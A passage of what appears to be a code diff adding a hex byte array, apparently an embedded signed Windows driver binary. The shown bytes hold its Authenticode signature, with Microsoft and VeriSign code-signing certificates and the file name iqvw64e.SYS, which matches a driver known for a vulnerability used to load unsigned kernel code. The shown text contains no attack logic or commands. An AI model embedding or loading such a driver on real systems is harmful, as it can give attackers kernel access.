0x55, 0x1D, 0x0F, + 0x04, 0x04, 0x03, 0x02, 0x01, 0x86, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x1D, 0x0E, 0x04, 0x16, 0x04, 0x14, 0x7F, 0xD3, 0x65, 0xA7, 0xC2, 0xDD, 0xEC, 0xBB, 0xF0, 0x30, 0x09, 0xF3, 0x43, 0x39, 0xFA, 0x02, 0xAF, 0x33, 0x31, 0x33, 0x30, 0x1F, 0x06, + 0x03, 0x55, 0x1D, 0x23, 0x04, 0x18, 0x30, 0x16, 0x80, 0x14, 0x62, 0xFB, 0x0A, 0x21, 0x5B, 0x7F, 0x43, 0x6E, 0x11, 0xDA, 0x09, 0x54, 0x50, 0x6B, 0xF5, 0xD2, 0x96, 0x71, 0xF1, 0x9E, 0x30, 0x55, 0x06, 0x03, 0x55, 0x1D, 0x1F, 0x04, 0x4E, 0x30, + 0x4C, 0x30, 0x4A, 0xA0, 0x48, 0xA0, 0x46, 0x86, 0x44, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x63, 0x72, 0x6C, 0x2E, 0x6D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x70, 0x6B, 0x69, 0x2F, 0x63, 0x72, + 0x6C, 0x2F, 0x70, 0x72, 0x6F, 0x64, 0x75, 0x63, 0x74, 0x73, 0x2F, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x43, 0x6F, 0x64, 0x65, 0x56, 0x65, 0x72, 0x69, 0x66, 0x52, 0x6F, 0x6F, 0x74, 0x2E, 0x63, 0x72, 0x6C, 0x30, 0x0D, 0x06, + 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x82, 0x02, 0x01, 0x00, 0x81, 0x2A, 0x82, 0x16, 0x8C, 0x34, 0x67, 0x2B, 0xE5, 0x03, 0xEB, 0x34, 0x7B, 0x8C, 0xA2, 0xA3, 0x50, 0x8A, 0xF4, 0x55, 0x86, 0xF1, 0x1E, + 0x8C, 0x8E, 0xAE, 0x7D, 0xEE, 0x03, 0x19, 0xCE, 0x72, 0x95, 0x18, 0x48, 0xAD, 0x62, 0x11, 0xFD, 0x20, 0xFD, 0x3F, 0x47, 0x06, 0x01, 0x5A, 0xE2, 0xE0, 0x6F, 0x8C, 0x15, 0x2C, 0x4E, 0x3C, 0x6A, 0x50, 0x6C, 0x0B, 0x36, 0xA3, 0xCF, 0x7A, 0x0D, + 0x9C, 0x42, 0xBC, 0x5C, 0xF8, 0x19, 0xD5, 0x60, 0xE3, 0x69, 0xE6, 0xE2, 0x23, 0x41, 0x67, 0x8C, 0x68, 0x83, 0x76, 0x2B, 0x8F, 0x93, 0xA3, 0x2A, 0xB5, 0x7F, 0xBE, 0x59, 0xFB, 0xA9, 0xC9, 0xB2, 0x26, 0x8F, 0xCA, 0xA2, 0xF3, 0x82, 0x1B, 0x98, + 0x3E, 0x91, 0x95, 0x27, 0x97, 0x86, 0x61, 0xEE, 0x5B, 0x5D, 0x07, 0x6B, 0xCD, 0x86, 0xA8, 0xE2, 0x65, 0x80, 0xA8, 0xE2, 0x15, 0xE2, 0xB2, 0xBE, 0x23, 0x05, 0x6A, 0xBA, 0x0C, 0xF3, 0x47, 0x93, 0x4D, 0xAC, 0xA4, 0x8C, 0x07, 0x79, 0x39, 0xC0, + 0x61, 0x12, 0x3A, 0x05, 0x0D, 0x89, 0xA3, 0xEC, 0x9F, 0x57, 0x89, 0x84, 0xFB, 0xEC, 0xCA, 0x7C, 0x47, 0x66, 0x14, 0x91, 0xD8, 0xB6, 0x0F, 0x19, 0x5D, 0xE6, 0xB8, 0x4A, 0xAC, 0xBC, 0x47, 0xC8, 0x71, 0x43, 0x96, 0xE6, 0x32, 0x20, 0xA5, 0xDC, + 0x77, 0x86, 0xFD, 0x3C, 0xE3, 0x8B, 0x71, 0xDB, 0x7B, 0x9B, 0x03, 0xFC, 0xB7, 0x1D, 0x32, 0x64, 0xEB, 0x16, 0x52, 0xA0, 0x43, 0xA3, 0xFA, 0x2E, 0xAD, 0x59, 0x92, 0x4E, 0x7C, 0xC7, 0xF2, 0x33, 0x42, 0x48, 0x38, 0x51, 0x3A, 0x7C, 0x38, 0xC7, + 0x1B, 0x24, 0x22, 0x28, 0x40, 0x1E, 0x1A, 0x46, 0x1F, 0x17, 0xDB, 0x18, 0xF7, 0xF0, 0x27, 0x35, 0x6C, 0xB8, 0x63, 0xD9, 0xCD, 0xB9, 0x64, 0x5D, 0x2B, 0xA5, 0x5E, 0xEF, 0xC6, 0x29, 0xB4, 0xF2, 0xC7, 0xF8, 0x21, 0xCC, 0x04, 0xBA, 0x57, 0xFD, + 0x01, 0xB6, 0xAB, 0xC6, 0x67, 0xF9, 0xE7, 0xD3, 0x99, 0x7F, 0xF4, 0xF5, 0x22, 0xFA, 0x72, 0xF5, 0xFD, 0xFF, 0x3A, 0x1C, 0x42, 0x3A, 0xA1, 0xF9, 0x80, 0x18, 0xA5, 0xEE, 0x8D, 0x1C, 0xD4, 0x66, 0x9E, 0x45, 0x01, 0xFE, 0xAA, 0xEE, 0xFF, 0xFB, + 0x17, 0x8F, 0x30, 0xF7, 0xF1, 0xCD, 0x29, 0xC5, 0x9D, 0xEC, 0xB5, 0xD5, 0x49, 0x00, 0x3D, 0x85, 0xB8, 0xCB, 0xBB, 0x93, 0x3A, 0x27, 0x6A, 0x49, 0xC0, 0x30, 0xAE, 0x66, 0xC9, 0xF7, 0x23, 0x28, 0x32, 0x76, 0xF9, 0xA4, 0x83, 0x56, 0xC8, 0x48, + 0xCE, 0x5A, 0x96, 0xAA, 0xA0, 0xCC, 0x0C, 0xC4, 0x7F, 0xB4, 0x8E, 0x97, 0xAF, 0x6D, 0xE3, 0x54, 0x27, 0xC3, 0x9F, 0x86, 0xC0, 0xD6, 0xE4, 0x73, 0x08, 0x97, 0x05, 0xDB, 0xD0, 0x54, 0x62, 0x5E, 0x03, 0x48, 0xC2, 0xD5, 0x9F, 0x7F, 0xA7, 0x66, + 0x8C, 0xD0, 0x9D, 0xB0, 0x4F, 0xD4, 0xD3, 0x98, 0x5F, 0x4B, 0x7A, 0xC9, 0x7F, 0xB2, 0x29, 0x52, 0xD0, 0x12, 0x80, 0xC7, 0x0F, 0x54, 0xB6, 0x1E, 0x67, 0xCD, 0xC6, 0xA0, 0x6C, 0x11, 0x03, 0x84, 0xD3, 0x48, 0x75, 0xE7, 0x2A, 0xFE, 0xB0, 0x3B, + 0x6E, 0x0A, 0x3A, 0xA6, 0x6B, 0x76, 0x99, 0x05, 0xA3, 0xF1, 0x77, 0x68, 0x61, 0x33, 0x14, 0x47, 0x06, 0xFC, 0x53, 0x7F, 0x52, 0xBD, 0x92, 0x14, 0x5C, 0x4A, 0x24, 0x6A, 0x67, 0x8C, 0xAF, 0x8D, 0x90, 0xAA, 0xD0, 0xF6, 0x79, 0x21, 0x1B, 0x93, + 0x26, 0x7C, 0xC3, 0xCE, 0x1E, 0xBD, 0x88, 0x38, 0x92, 0xAE, 0x45, 0xC6, 0x19, 0x6A, 0x49, 0x50, 0xB3, 0x05, 0xF8, 0xAE, 0x59, 0x37, 0x8A, 0x6A, 0x25, 0x03, 0x94, 0xB1, 0x59, 0x81, 0x50, 0xE8, 0xBA, 0x83, 0x80, 0xB7, 0x23, 0x35, 0xF4, 0x76, + 0xB9, 0x67, 0x1D, 0x59, 0x18, 0xAD, 0x20, 0x8D, 0x94, 0x30, 0x82, 0x06, 0x0A, 0x30, 0x82, 0x04, 0xF2, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x10, 0x52, 0x00, 0xE5, 0xAA, 0x25, 0x56, 0xFC, 0x1A, 0x86, 0xED, 0x96, 0xC9, 0xD4, 0x4B, 0x33, 0xC7, + 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x30, 0x81, 0xCA, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x17, 0x30, 0x15, 0x06, 0x03, 0x55, 0x04, 0x0A, + 0x13, 0x0E, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x2C, 0x20, 0x49, 0x6E, 0x63, 0x2E, 0x31, 0x1F, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x16, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x20, 0x54, 0x72, 0x75, 0x73, + 0x74, 0x20, 0x4E, 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x31, 0x3A, 0x30, 0x38, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x31, 0x28, 0x63, 0x29, 0x20, 0x32, 0x30, 0x30, 0x36, 0x20, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x2C, 0x20, 0x49, + 0x6E, 0x63, 0x2E, 0x20, 0x2D, 0x20, 0x46, 0x6F, 0x72, 0x20, 0x61, 0x75, 0x74, 0x68, 0x6F, 0x72, 0x69, 0x7A, 0x65, 0x64, 0x20, 0x75, 0x73, 0x65, 0x20, 0x6F, 0x6E, 0x6C, 0x79, 0x31, 0x45, 0x30, 0x43, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x3C, + 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x20, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x50, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x50, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, + 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6F, 0x72, 0x69, 0x74, 0x79, 0x20, 0x2D, 0x20, 0x47, 0x35, 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x30, 0x30, 0x32, 0x30, 0x38, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5A, 0x17, 0x0D, 0x32, + 0x30, 0x30, 0x32, 0x30, 0x37, 0x32, 0x33, 0x35, 0x39, 0x35, 0x39, 0x5A, 0x30, 0x81, 0xB4, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x17, 0x30, 0x15, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x0E, 0x56, + 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x2C, 0x20, 0x49, 0x6E, 0x63, 0x2E, 0x31, 0x1F, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x16, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x20, 0x54, 0x72, 0x75, 0x73, 0x74, 0x20, 0x4E, + 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x31, 0x3B, 0x30, 0x39, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x32, 0x54, 0x65, 0x72, 0x6D, 0x73, 0x20, 0x6F, 0x66, 0x20, 0x75, 0x73, 0x65, 0x20, 0x61, 0x74, 0x20, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3A, 0x2F, + 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6E, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x72, 0x70, 0x61, 0x20, 0x28, 0x63, 0x29, 0x31, 0x30, 0x31, 0x2E, 0x30, 0x2C, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x25, 0x56, 0x65, + 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x20, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x43, 0x6F, 0x64, 0x65, 0x20, 0x53, 0x69, 0x67, 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x32, 0x30, 0x31, 0x30, 0x20, 0x43, 0x41, 0x30, 0x82, 0x01, 0x22, 0x30, + 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0F, 0x00, 0x30, 0x82, 0x01, 0x0A, 0x02, 0x82, 0x01, 0x01, 0x00, 0xF5, 0x23, 0x4B, 0x5E, 0xA5, 0xD7, 0x8A, 0xBB, 0x32, 0xE9, 0xD4, 0x57, + 0xF7, 0xEF, 0xE4, 0xC7, 0x26, 0x7E, 0xAD, 0x19, 0x98, 0xFE, 0xA8, 0x9D, 0x7D, 0x94, 0xF6, 0x36, 0x6B, 0x10, 0xD7, 0x75, 0x81, 0x30, 0x7F, 0x04, 0x68, 0x7F, 0xCB, 0x2B, 0x75, 0x1E, 0xCD, 0x1D, 0x08, 0x8C, 0xDF, 0x69, 0x94, 0xA7, 0x37, 0xA3, + 0x9C, 0x7B, 0x80, 0xE0, 0x99, 0xE1, 0xEE, 0x37, 0x4D, 0x5F, 0xCE, 0x3B, 0x14, 0xEE, 0x86, 0xD4, 0xD0, 0xF5, 0x27, 0x35, 0xBC, 0x25, 0x0B, 0x38, 0xA7, 0x8C, 0x63, 0x9D, 0x17, 0xA3, 0x08, 0xA5, 0xAB, 0xB0, 0xFB, 0xCD, 0x6A, 0x62, 0x82, 0x4C, + 0xD5, 0x21, 0xDA, 0x1B, 0xD9, 0xF1, 0xE3, 0x84, 0x3B, 0x8A, 0x2A, 0x4F, 0x85, 0x5B, 0x90, 0x01, 0x4F, 0xC9, 0xA7, 0x76, 0x10, 0x7F, 0x27, 0x03, 0x7C, 0xBE, 0xAE, 0x7E, 0x7D, 0xC1, 0xDD, 0xF9, 0x05, 0xBC, 0x1B, 0x48, 0x9C, 0x69, 0xE7, 0xC0, + 0xA4, 0x3C, 0x3C, 0x41, 0x00, 0x3E, 0xDF, 0x96, 0xE5, 0xC5, 0xE4, 0x94, 0x71, 0xD6, 0x55, 0x01, 0xC7, 0x00, 0x26, 0x4A, 0x40, 0x3C, 0xB5, 0xA1, 0x26, 0xA9, 0x0C, 0xA7, 0x6D, 0x80, 0x8E, 0x90, 0x25, 0x7B, 0xCF, 0xBF, 0x3F, 0x1C, 0xEB, 0x2F, + 0x96, 0xFA, 0xE5, 0x87, 0x77, 0xC6, 0xB5, 0x56, 0xB2, 0x7A, 0x3B, 0x54, 0x30, 0x53, 0x1B, 0xDF, 0x62, 0x34, 0xFF, 0x1E, 0xD1, 0xF4, 0x5A, 0x93, 0x28, 0x85, 0xE5, 0x4C, 0x17, 0x4E, 0x7E, 0x5B, 0xFD, 0xA4, 0x93, 0x99, 0x7F, 0xDF, 0xCD, 0xEF, + 0xA4, 0x75, 0xEF, 0xEF, 0x15, 0xF6, 0x47, 0xE7, 0xF8, 0x19, 0x72, 0xD8, 0x2E, 0x34, 0x1A, 0xA6, 0xB4, 0xA7, 0x4C, 0x7E, 0xBD, 0xBB, 0x4F, 0x0C, 0x3D, 0x57, 0xF1, 0x30, 0xD6, 0xA6, 0x36, 0x8E, 0xD6, 0x80, 0x76, 0xD7, 0x19, 0x2E, 0xA5, 0xCD, + 0x7E, 0x34, 0x2D, 0x89, 0x02, 0x03, 0x01, 0x00, 0x01, 0xA3, 0x82, 0x01, 0xFE, 0x30, 0x82, 0x01, 0xFA, 0x30, 0x12, 0x06, 0x03, 0x55, 0x1D, 0x13, 0x01, 0x01, 0xFF, 0x04, 0x08, 0x30, 0x06, 0x01, 0x01, 0xFF, 0x02, 0x01, 0x00, 0x30, 0x70, 0x06, + 0x03, 0x55, 0x1D, 0x20, 0x04, 0x69, 0x30, 0x67, 0x30, 0x65, 0x06, 0x0B, 0x60, 0x86, 0x48, 0x01, 0x86, 0xF8, 0x45, 0x01, 0x07, 0x17, 0x03, 0x30, 0x56, 0x30, 0x28, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x02, 0x01, 0x16, 0x1C, 0x68, + 0x74, 0x74, 0x70, 0x73, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6E, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x63, 0x70, 0x73, 0x30, 0x2A, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x02, 0x02, 0x30, + 0x1E, 0x1A, 0x1C, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6E, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x72, 0x70, 0x61, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x1D, 0x0F, 0x01, 0x01, + 0xFF, 0x04, 0x04, 0x03, 0x02, 0x01, 0x06, 0x30, 0x6D, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01, 0x0C, 0x04, 0x61, 0x30, 0x5F, 0xA1, 0x5D, 0xA0, 0x5B, 0x30, 0x59, 0x30, 0x57, 0x30, 0x55, 0x16, 0x09, 0x69, 0x6D, 0x61, 0x67, 0x65, + 0x2F, 0x67, 0x69, 0x66, 0x30, 0x21, 0x30, 0x1F, 0x30, 0x07, 0x06, 0x05, 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x04, 0x14, 0x8F, 0xE5, 0xD3, 0x1A, 0x86, 0xAC, 0x8D, 0x8E, 0x6B, 0xC3, 0xCF, 0x80, 0x6A, 0xD4, 0x48, 0x18, 0x2C, 0x7B, 0x19, 0x2E, 0x30, + 0x25, 0x16, 0x23, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x6C, 0x6F, 0x67, 0x6F, 0x2E, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6E, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x76, 0x73, 0x6C, 0x6F, 0x67, 0x6F, 0x2E, 0x67, 0x69, 0x66, 0x30, 0x34, + 0x06, 0x03, 0x55, 0x1D, 0x1F, 0x04, 0x2D, 0x30, 0x2B, 0x30, 0x29, 0xA0, 0x27, 0xA0, 0x25, 0x86, 0x23, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x63, 0x72, 0x6C, 0x2E, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6E, 0x2E, 0x63, 0x6F, 0x6D, + 0x2F, 0x70, 0x63, 0x61, 0x33, 0x2D, 0x67, 0x35, 0x2E, 0x63, 0x72, 0x6C, 0x30, 0x34, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01, 0x01, 0x04, 0x28, 0x30, 0x26, 0x30, 0x24, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x01, + 0x86, 0x18, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x6F, 0x63, 0x73, 0x70, 0x2E, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6E, 0x2E, 0x63, 0x6F, 0x6D, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x1D, 0x25, 0x04, 0x16, 0x30, 0x14, 0x06, 0x08, 0x2B, + 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x02, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x03, 0x30, 0x28, 0x06, 0x03, 0x55, 0x1D, 0x11, 0x04, 0x21, 0x30, 0x1F, 0xA4, 0x1D, 0x30, 0x1B, 0x31, 0x19, 0x30, 0x17, 0x06, 0x03, 0x55, 0x04, + 0x03, 0x13, 0x10, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x4D, 0x50, 0x4B, 0x49, 0x2D, 0x32, 0x2D, 0x38, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x1D, 0x0E, 0x04, 0x16, 0x04, 0x14, 0xCF, 0x99, 0xA9, 0xEA, 0x7B, 0x26, 0xF4, 0x4B, 0xC9, 0x8E, + 0x8F, 0xD7, 0xF0, 0x05, 0x26, 0xEF, 0xE3, 0xD2, 0xA7, 0x9D, 0x30, 0x1F, 0x06, 0x03, 0x55, 0x1D, 0x23, 0x04, 0x18, 0x30, 0x16, 0x80, 0x14, 0x7F, 0xD3, 0x65, 0xA7, 0xC2, 0xDD, 0xEC, 0xBB, 0xF0, 0x30, 0x09, 0xF3, 0x43, 0x39, 0xFA, 0x02, 0xAF, + 0x33, 0x31, 0x33, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x82, 0x01, 0x01, 0x00, 0x56, 0x22, 0xE6, 0x34, 0xA4, 0xC4, 0x61, 0xCB, 0x48, 0xB9, 0x01, 0xAD, 0x56, 0xA8, 0x64, 0x0F, 0xD9, + 0x8C, 0x91, 0xC4, 0xBB, 0xCC, 0x0C, 0xE5, 0xAD, 0x7A, 0xA0, 0x22, 0x7F, 0xDF, 0x47, 0x38, 0x4A, 0x2D, 0x6C, 0xD1, 0x7F, 0x71, 0x1A, 0x7C, 0xEC, 0x70, 0xA9, 0xB1, 0xF0, 0x4F, 0xE4, 0x0F, 0x0C, 0x53, 0xFA, 0x15, 0x5E, 0xFE, 0x74, 0x98, 0x49, + 0x24, 0x85, 0x81, 0x26, 0x1C, 0x91, 0x14, 0x47, 0xB0, 0x4C, 0x63, 0x8C, 0xBB, 0xA1, 0x34, 0xD4, 0xC6, 0x45, 0xE8, 0x0D, 0x85, 0x26, 0x73, 0x03, 0xD0, 0xA9, 0x8C, 0x64, 0x6D, 0xDC, 0x71, 0x92, 0xE6, 0x45, 0x05, 0x60, 0x15, 0x59, 0x51, 0x39, + 0xFC, 0x58, 0x14, 0x6B, 0xFE, 0xD4, 0xA4, 0xED, 0x79, 0x6B, 0x08, 0x0C, 0x41, 0x72, 0xE7, 0x37, 0x22, 0x06, 0x09, 0xBE, 0x23, 0xE9, 0x3F, 0x44, 0x9A, 0x1E, 0xE9, 0x61, 0x9D, 0xCC, 0xB1, 0x90, 0x5C, 0xFC, 0x3D, 0xD2, 0x8D, 0xAC, 0x42, 0x3D, + 0x65, 0x36, 0xD4, 0xB4, 0x3D, 0x40, 0x28, 0x8F, 0x9B, 0x10, 0xCF, 0x23, 0x26, 0xCC, 0x4B, 0x20, 0xCB, 0x90, 0x1F, 0x5D, 0x8C, 0x4C, 0x34, 0xCA, 0x3C, 0xD8, 0xE5, 0x37, 0xD6, 0x6F, 0xA5, 0x20, 0xBD, 0x34, 0xEB, 0x26, 0xD9, 0xAE, 0x0D, 0xE7, + 0xC5, 0x9A, 0xF7, 0xA1, 0xB4, 0x21, 0x91, 0x33, 0x6F, 0x86, 0xE8, 0x58, 0xBB, 0x25, 0x7C, 0x74, 0x0E, 0x58, 0xFE, 0x75, 0x1B, 0x63, 0x3F, 0xCE, 0x31, 0x7C, 0x9B, 0x8F, 0x1B, 0x96, 0x9E, 0xC5, 0x53, 0x76, 0x84, 0x5B, 0x9C, 0xAD, 0x91, 0xFA, + 0xAC, 0xED, 0x93, 0xBA, 0x5D, 0xC8, 0x21, 0x53, 0xC2, 0x82, 0x53, 0x63, 0xAF, 0x12, 0x0D, 0x50, 0x87, 0x11, 0x1B, 0x3D, 0x54, 0x52, 0x96, 0x8A, 0x2C, 0x9C, 0x3D, 0x92, 0x1A, 0x08, 0x9A, 0x05, 0x2E, 0xC7, 0x93, 0xA5, 0x48, 0x91, 0xD3, 0x31, + 0x82, 0x04, 0xB1, 0x30, 0x82, 0x04, 0xAD, 0x02, 0x01, 0x01, 0x30, 0x81, 0xC9, 0x30, 0x81, 0xB4, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x17, 0x30, 0x15, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x0E, + 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x2C, 0x20, 0x49, 0x6E, 0x63, 0x2E, 0x31, 0x1F, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x16, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x20, 0x54, 0x72, 0x75, 0x73, 0x74, 0x20, + 0x4E, 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x31, 0x3B, 0x30, 0x39, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x32, 0x54, 0x65, 0x72, 0x6D, 0x73, 0x20, 0x6F, 0x66, 0x20, 0x75, 0x73, 0x65, 0x20, 0x61, 0x74, 0x20, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3A, + 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6E, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x72, 0x70, 0x61, 0x20, 0x28, 0x63, 0x29, 0x31, 0x30, 0x31, 0x2E, 0x30, 0x2C, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x25, 0x56, + 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x20, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x43, 0x6F, 0x64, 0x65, 0x20, 0x53, 0x69, 0x67, 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x32, 0x30, 0x31, 0x30, 0x20, 0x43, 0x41, 0x02, 0x10, 0x27, 0x76, + 0xAB, 0x5C, 0xF2, 0xD0, 0x98, 0x72, 0xF1, 0xAD, 0x05, 0xFB, 0xC3, 0xF2, 0x1A, 0x87, 0x30, 0x09, 0x06, 0x05, 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0xA0, 0x81, 0xAE, 0x30, 0x19, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, + 0x03, 0x31, 0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x04, 0x30, 0x1C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x0B, 0x31, 0x0E, 0x30, 0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, + 0x82, 0x37, 0x02, 0x01, 0x15, 0x30, 0x23, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x04, 0x31, 0x16, 0x04, 0x14, 0xBF, 0x5E, 0x19, 0x5A, 0x26, 0xCE, 0xEE, 0x79, 0x35, 0x43, 0x4E, 0x90, 0xC2, 0xE7, 0xF9, 0xE7, 0xE9, 0xB9, + 0x18, 0x48, 0x30, 0x4E, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x0C, 0x31, 0x40, 0x30, 0x3E, 0xA0, 0x3C, 0x80, 0x3A, 0x00, 0x2E, 0x00, 0x2E, 0x00, 0x5C, 0x00, 0x64, 0x00, 0x72, 0x00, 0x69, 0x00, 0x76, 0x00, 0x65, + 0x00, 0x72, 0x00, 0x73, 0x00, 0x5C, 0x00, 0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x36, 0x00, 0x34, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x69, 0x00, 0x71, 0x00, 0x76, 0x00, 0x77, 0x00, 0x36, 0x00, 0x34, 0x00, 0x65, 0x00, 0x2E, 0x00, 0x53, 0x00, 0x59, + 0x00, 0x53, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x04, 0x82, 0x01, 0x00, 0x38, 0x2A, 0xB5, 0x14, 0xC2, 0x12, 0xD3, 0x1C, 0x90, 0x31, 0xF0, 0x6C, 0xC9, 0x16, 0x5A, 0xDD, 0x0B, 0x6E, 0x95, + 0x0B, 0x1F, 0x57, 0x0A, 0x1C, 0xDC, 0x08, 0xED, 0xD5, 0x95, 0x01, 0x9E, 0x92, 0x50, 0x1E, 0x82, 0x1D, 0x31, 0x61, 0xE7, 0x10, 0x66, 0x78, 0xC0, 0x50, 0x45, 0x71, 0x40, 0x11, 0x3F, 0x60, 0xC0, 0xBF, 0xDF, 0x61, 0xB7, 0x25, 0x80, 0x31, 0x91, + 0x38, 0x38, 0x39, 0x4A, 0xB4, 0x1C, 0x94, 0xA2, 0x8B, 0xBD, 0xAA, 0xE1, 0x7C, 0x68, 0x68, 0x2D, 0x96, 0xB9, 0x34, 0x96, 0x56, 0x50, 0xFA, 0xC6, 0xB9, 0xD4, 0xE4, 0x6E, 0x8C, 0x22, 0xC8, 0x18, 0xEF, 0x5F, 0x6E, 0x5D, 0x43, 0x15, 0x13, 0x5A, + 0x4F, 0x11, 0x2E, 